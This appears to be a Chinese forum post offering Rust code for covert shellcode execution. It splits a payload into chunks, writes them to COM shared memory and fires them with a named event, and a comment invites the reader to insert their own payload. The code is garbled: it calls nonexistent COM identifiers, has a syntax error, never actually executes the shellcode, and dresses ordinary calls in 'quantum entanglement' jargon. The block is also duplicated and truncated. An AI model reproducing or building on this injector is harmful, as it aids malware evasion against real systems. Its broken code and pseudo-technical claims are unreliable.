利用COM对象内存共享特性,在多个合法进程间拆分shellcode,通过事件同步触发重组执行
接下来我将使用Rust代码来实现这一技术,该代码融合了Windows COM组件和内存共享技术,实现了跨进程的隐蔽Shellcode执行
1. 量子内存池创建
2. 量子态写入
3. 纠缠同步机制
扫描具有以下特征的共享内存:
use winapi::{
ctypes::{c_void, c_char},
shared::guiddef::GUID,
um::{
combaseapi::{CoCreateInstance, CoInitializeEx, CoUninitialize},
combaseapi::{CLSCTX_LOCAL_SERVER, CLSID_FileMapping},
synchapi::{CreateEventW, SetEvent, WaitForSingleObject},
handleapi::CloseHandle,
memoryapi::{MapViewOfFile, UnmapViewOfFile},
winbase::{COINIT_MULTITHREADED, INFINITE},
winnt::{HANDLE, PAGE_READWRITE, FILE_MAP_ALL_ACCESS},
},
};
use std::{ptr, mem, ffi::OsStr, os::windows::ffi::OsStrExt};
const QUANTUM_MEMORY_NAME: &str = "Global\\QuantumEntanglementMem";
// COM共享内存接口定义
struct IQuantumMemory {
vtbl: *const IQuantumMemoryVtbl,
}
struct IQuantumMemoryVtbl {
QueryInterface: unsafe extern "system" fn(
This: *mut IQuantumMemory,
riid: *const GUID,
ppv: *mut *mut c_void,
) -> i32,
AddRef: unsafe extern "system" fn(This: *mut IQuantumMemory) -> u32,
Release: unsafe extern "system" fn(This: *mut IQuantumMemory) -> u32,
CreateEntanglement: unsafe extern "system" fn(
This: *mut IQuantumMemory,
size: u32,
name: *const c_char,
) -> HANDLE,
}
// 量子注入核心实现
struct QuantumInjector {
com_initialized: bool,
entangled_handles: Vec<HANDLE>,
}
impl QuantumInjector {
unsafe fn new() -> Self {
// 初始化COM环境
CoInitializeEx(ptr::null_mut(), COINIT_MULTITHREADED);
QuantumInjector {
com_initialized: true,
entangled_handles: Vec::new(),
}
}
// 创建量子注入内存
unsafe fn create_quantum_memory(&mut self, size: usize) -> HANDLE {
let mut quantum_mem: *mut IQuantumMemory = ptr::null_mut();
let hr = CoCreateInstance(
&CLSID_FileMapping,
ptr::null_mut(),
CLSCTX_LOCAL_SERVER,
&IQuantumMemory::uuidof(),
&mut quantum_mem as *mut _ as *mut _,
);
if hr != 0 {
panic!("Failed to create quantum memory object");
}
let name = QUANTUM_MEMORY_NAME.as_ptr() as *const c_char;
let handle = ((*quantum_mem).vtbl).CreateEntanglement(
quantum_mem,
size as u32,
name,
);
self.entangled_handles.push(handle);
handle
}
// 写入量子态Shellcode
unsafe fn write_quantum_state(
&self,
handle: HANDLE,
offset: usize,
data: &[u8],
) -> *mut c_void {
let view = MapViewOfFile(
handle,
FILE_MAP_ALL_ACCESS,
0,
offset as u32,
data.len(),
);
if view.is_null() {
panic!("Failed to map quantum memory");
}
ptr::copy_nonoverlapping(data.as_ptr(), view as *mut u8, data.len());
view
}
// 执行量子注入
unsafe fn trigger_entanglement(&self, sync_event: HANDLE) {
SetEvent(sync_event);
WaitForSingleObject(sync_event, INFINITE);
}
}
impl Drop for QuantumInjector {
fn drop(&mut self) {
unsafe {
// 清理量子注入
for handle in &self.entangled_handles {
CloseHandle(*handle);
}
if self.com_initialized {
CoUninitialize();
}
}
}
}
// Shellcode量子化处理
fn quantumize_shellcode(shellcode: &[u8], chunks: usize) -> Vec<Vec<u8>> {
let chunk_size = shellcode.len() / chunks;
let mut quantum_chunks = Vec::new();
for i in 0..chunks {
let start = i * chunk_size;
let end = if i == chunks - 1 {
shellcode.len()
} else {
(i + 1) * chunk_size
};
quantum_chunks.push(shellcode[start..end].to_vec());
}
quantum_chunks
}
// 创建量子同步事件
unsafe fn create_quantum_event() -> HANDLE {
let name: Vec<u16> = OsStr::new("Global\\QuantumSyncEvent")
.encode_wide()
.chain(Some(0).collect();
CreateEventW(
ptr::null_mut(),
1, // 手动重置事件
0, // 初始非激活状态
name.as_ptr(),
)
}
fn main() {
//这里的shellcode替换为你所使用的payload
let shellcode = [0x90u8; 1024];
// 量子化处理
let quantum_chunks = quantumize_shellcode(&shellcode, 4);
unsafe {
let mut injector = QuantumInjector::new();
let sync_event = create_quantum_event();
// 创建量子内存池
let mem_handle = injector.create_quantum_memory(shellcode.len());
// 多进程分块写入(模拟多进程环境)
for (i, chunk) in quantum_chunks.iter().enumerate() {
let offset = i * chunk.len();
injector.write_quantum_state(mem_handle, offset, chunk);
}
// 触发量子纠缠执行
injector.trigger_entanglement(sync_event);
// 清理资源
CloseHandle(sync_event);
}
}
use winapi::{
ctypes::{c_void, c_char},
shared::guiddef::GUID,
um::{
combaseapi::{CoCreateInstance, CoInitializeEx, CoUninitialize},
combaseapi::{CLSCTX_LOCAL_SERVER, CLSID_FileMapping},
synchapi::{CreateEventW, SetEvent, WaitForSingleObject},
handleapi::CloseHandle,
memoryapi::{MapViewOfFile, UnmapViewOfFile},
winbase::{COINIT_MULTITHREADED, INFINITE},
winnt::{HANDLE, PAGE_READWRITE, FILE_MAP_ALL_ACCESS},
},
};
use std::{ptr, mem, ffi::OsStr, os::windows::ffi::OsStrExt};
const QUANTUM_MEMORY_NAME: &str = "Global\\QuantumEntanglementMem";
// COM共享内存接口定义
struct IQuantumMemory {
vtbl: *const IQuantumMemoryVtbl,
}
struct IQuantumMemoryVtbl {
QueryInterface: unsafe extern "system" fn(
This: *mut IQuantumMemory,
riid: *const GUID,
ppv: *mut *mut c_void,
) -> i32,
AddRef: unsafe extern "system" fn(This: *mut IQuantumMemory) -> u32,
Release: unsafe extern "system" fn(This: *mut IQuantumMemory) -> u32,
CreateEntanglement: unsafe extern "system" fn(
This: *mut IQuantumMemory,
size: u32,
name: *const c_char,
) -> HANDLE,
}
// 量子注入核心实现
struct QuantumInjector {
com_initialized: bool,
entangled_handles: Vec<HANDLE>,
}
impl QuantumInjector {
unsafe fn new() -> Self {
// 初始化COM环境
CoInitializeEx(ptr::null_mut(), COINIT_MULTITHREADED);
QuantumInjector {
com_initialized: true,
entangled_handles: Vec::new(),
}
}
// 创建量子注入内存
unsafe fn create_quantum_memory(&mut self, size: usize) -> HANDLE {
let mut quantum_mem: *mut IQuantumMemory = ptr::null_mut();
let hr = CoCreateInstance(
&CLSID_FileMapping,
ptr::null_mut(),
CLSCTX_LOCAL_SERVER,
&IQuantumMemory::uuidof(),
&mut quantum_mem as *mut _ as *mut _,
);
if hr != 0 {
panic!("Failed to create quantum memory object");
}
let name = QUANTUM_MEMORY_NAME.as_ptr() as *const c_char;
let handle = ((*quantum_mem).vtbl).CreateEntanglement(
quantum_mem,
size as u32,
name,
);
self.entangled_handles.push(handle);
handle
}
// 写入量子态Shellcode
unsafe fn write_quantum_state(
&self,
handle: HANDLE,
offset: usize,
data: &[u8],
) -> *mut c_void {
let view = MapViewOfFile(
handle,
FILE_MAP_ALL_ACCESS,
0,
offset as u32,
data.len(),
);
if view.is_null() {
panic!("Failed to map quantum memory");
}
ptr::copy_nonoverlapping(data.as_ptr(), view as *mut u8, data.len());
view
}
// 执行量子注入
unsafe fn trigger_entanglement(&self, sync_event: HANDLE) {
SetEvent(sync_event);
WaitForSingleObject(sync_event, INFINITE);
}
}
impl Drop for QuantumInjector {
fn drop(&mut self) {
unsafe {
// 清理量子注入
for handle in &self.entangled_handles {
CloseHandle(*handle);
}
if self.com_initialized {
CoUninitialize();
}
}
}
}
// Shellcode量子化处理
fn quantumize_shellcode(shellcode: &[u8], chunks: usize) -> Vec<Vec<u8>> {
let chunk_size = shellcode.len() / chunks;
let mut quantum_chunks = Vec::new();
for i in 0..chunks {
let start = i * chunk_size;
let end = if i == chunks - 1 {
shellcode.len()
} else {
(i + 1) * chunk_size
};
quantum_chunks.push(shellcode[start..end].to_vec());
}
quantum_chunks
}
// 创建量子同步事件
unsafe fn create_quantum_event() -> HANDLE {
let name: Vec<u16> = OsStr::new("Global\\QuantumSyncEvent")
.encode_wide()
.chain(Some(0).collect();
CreateEventW(
ptr::null_mut(),
1, // 手动重置事件
0, // 初始非激活状态
name.as_ptr(),
)
}
fn main() {
//这里的shellcode替换为你所使用的payload
let shellcode = [0x90u8; 1024];
// 量子化处理
let quantum_chunks = quantumize_shellcode(&shellcode, 4);
unsafe {
let mut injector = QuantumInjector::new();
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
最后于 2025-4-3 23:59
被Hrlies编辑
,原因: